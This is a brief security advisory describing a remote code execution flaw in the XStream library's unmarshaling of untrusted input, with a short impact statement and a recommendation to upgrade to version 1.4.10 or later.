Readycheck to confirm it

Xstream API before 1.4.6 and 1.4.10 is susceptible to remote code execution. If the security framework has not been initialized, an attacker can run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. This can allow an attacker to obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Upgrade XStream to version 1.4.10 or later to mitigate this vulnerability.
